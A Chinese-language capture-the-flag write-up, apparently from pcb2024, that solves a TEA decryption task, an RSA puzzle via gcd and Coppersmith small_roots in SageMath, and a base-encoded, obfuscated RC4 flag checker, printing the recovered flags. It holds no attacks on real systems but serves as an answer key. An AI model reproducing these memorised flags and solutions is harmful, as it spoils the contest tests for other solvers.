uint32_t v[] = {0xEA2063F8, 0x8F66F252, 0x902A72EF, 0x411FDA74,
0x19590D4D, 0xCAE74317, 0x63870F3F, 0xD753AE61};
uint32_t k[4] = {2, 2, 3, 3};


for (int i = 0; i < 8; i += 2) {
decrypt(v + i, k); // 每两个32位整数解密一次
}

printf("解密后的数据:0x%x 0x%x\n", v[0], v[1]);


printf("解密后的字符:");
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 4; j++) {
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
printf("\n");

return 0;
}

babyenc-pcb2024

首先构造还原 n ,恢复前半部分的flag,后半部分 利用copperi还原,拼接获得flag

sagemath 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import gmpy2
from Crypto.Util.number import *


e = [43, 37, 53, 61, 59]
c1 = [304054249108643319766233669970696347228113825299195899223597844657873869914715629219753150469421333712176994329969288126081851180518874300706117, 300569071066351295347178153438463983525013294497692191767264949606466706307039662858235919677939911290402362961043621463108147721176372907055224, 294806502799305839692215402958402593834563343055375943948669528217549597192296955202812118864208602813754722206211899285974414703769561292993531, 255660645085871679396238463457546909716172735210300668843127008526613931533718130479441396195102817055073131304413673178641069323813780056896835, 194084621856364235027333699558487834531380222896709707444060960982448111129722327145131992393643001072221754440877491070115199839112376948773978]
n = 16175064088648626038689748434699435826247716579187475966092822028609536761351820951820375552440329596553448265674841223230257463367834546091974959931391707199002842774795702094681528411058318007858638798643010942408552063479863545047616823056802010158288409527763686086960916160949496083789920012040215745627854092010308869223489833074860062054019221397227691063339148923860987250696934050122115972982286012688955816234717242567815830341836031567275888691320640526306946586793028267588302696611724356566003447616419092371914903382944112125852939011729294400479171568234647164730191643282793224422368321464125847020067
c2 = [12053085469218650692076937068797478047679005585690696222988148891925249697123080938461512785257424651119325211991331622346111396522606463631848519999574540677285771456451798811902760319940781754940936484802949729402283626052963389539032949160905330315285409948932070460455535716223838438994608837585387741418172014634472651248450564788332400265295308803291229281839428962457585593065595521459963501453576128172245723315811398209056633738967993602668795794847967331946516181453804430961308142497659799416125763566765485760600358126127595222197324155943818136202233758771243043559460620477085689770403810190118485243364, 13878717704635179949812987989626985689079485417345626168168664941124566737996226347895779823781042724620099437593856913505609774929187720381745418166924229828643565384137488017127800518133460531729559408120123922005898834268035918798610962941606864727966963354615441094676621013036726097763695675723672289505864372820096404707522755617527884121630784469379311199256277022770033036782130954108210409787680433301426480762532000133464370267551845990395683108170721952672388388178378604502610341465223041534665133155077544973384500983410220955683686526835733853985930134970899200234404716865462481142496209914197674463932]
a=pow(c1[0],e[1])-pow(c1[1],e[0])
b=pow(c1[2],e[3])-pow(c1[3],e[2])
n1=gmpy2.gcd(a,b)
b=c2[0]+c2[1]
c=c2[0]*c2[1]
R.<x>=Zmod(n)[]
f=x^2-b*x+c
d=f.small_roots(X=2^400)

print(d)
#从这里找到d写入
#d :146436625375651639081292195233290471195543268962429直接写入下面即可获得flag
print(long_to_bytes(n1>>310)+long_to_bytes(146436625375651639081292195233290471195543268962429))

获得flag:flag{3e99c26b-efdd-4cd2-bbe5-1420eaaa3b30}

3e99c26b-efdd-4cd2-bbe5-1420eaaa3b30

exec-pcb2024

解压后是.py文件

vscode打开看一眼

发现是给了一个base64的解密,解密发现是又是一个base85,解完发现是个base32……一直这种base系列快30次

最后接触一个python的rc4代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
a=True
d=len
G=list
g=range
s=next
R=bytes
o=input
Y=print

def l(S):
i=0
j=0
while a:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K

def N(key,O):
I=d(key)
S=G(g(256))
j=0
for i in g(256):
j=(j+S[i]+key[i%I])%256
S[i],S[j]=S[j],S[i]
z=l(S)
n=[]
for k in O:
n.append(k^s(z)+2)
return R(n)

def E(s,parts_num):
Q=d(s.decode())
S=Q//parts_num
u=Q%parts_num
W=[]
j=0
for i in g(parts_num):
T=j+S
if u>0:
T+=1
u-=1
W.append(s[j:T])
j=T
return W

if __name__=='__main__':
L=o('input the flag: >>> ').encode()
assert d(L)%2==0,'flag length should be even'
t=b'v3ry_s3cr3t_p@ssw0rd'
O=E(L,2)
U=[]
for i in O:
U.append(N(t,i).hex())

if U==['1796972c348bc4fe7a1930b833ff10a80ab281627731ab705dacacfef2e2804d74ab6bc19f60',2ea999141a8cc9e47975269340c177c726a8aa732953a66a6af183bcd9cec8464a']:
Y('Congratulations! You got the flag!')
else:
print('Wrong flag!')

if U==[‘1796972c348bc4fe7a1930b833ff10a80ab281627731ab705dacacfef2e2804d74ab6bc19f60’,2ea999141a8cc9e47975269340c177c726a8aa732953a66a6af183bcd9cec8464a’]:这句第二个数加个‘

rc4所以exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
a = True
d = len
G = list
g = range
s = next
R = bytes
Y = print


def l(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K



def N(key, O):
I = d(key)
S = G(g(256))
j = 0
for i in g(256):
j = (j + S[i] + key[i % I]) % 256
S[i], S[j] = S[j], S[i]

z = l(S) # 初始化生成器
n = []
for k in O:
n.append(k ^ s(z) + 2)
return R(n)



def E(s, parts_num):
Q = d(s.decode()) # 获取字符串的长度
S = Q // parts_num # 每个部分的大小
u = Q % parts_num # 余数,决定最后一部分的大小
W = []
j = 0
for i in g(parts_num):
T = j + S
if u > 0:
T += 1 # 增加最后部分的大小
u -= 1
W.append(s[j:T])
j = T
return W # 返回分割后的字符串块



def decrypt_flag(U):
t = b'v3ry_s3cr3t_p@ssw0rd' # 固定密钥
decrypted_parts = []

for part in U:

encrypted_bytes = bytes.fromhex(part) # 将十六进制字符串转换为字节
decrypted_part = N(t, encrypted_bytes) # 使用 RC4 解密
decrypted_parts.append(decrypted_part.decode()) # 将字节解码为字符串


return ''.join(decrypted_parts)



if __name__ == '__main__':
# 给定加密后的结果
U = [
'1796972c348bc4fe7a1930b833ff10a80ab281627731ab705dacacfef2e2804d74ab6bc19f60',
'2ea999141a8cc9e47975269340c177c726a8aa732953a66a6af183bcd9cec8464a'
]

flag = decrypt_flag(U)

print(flag)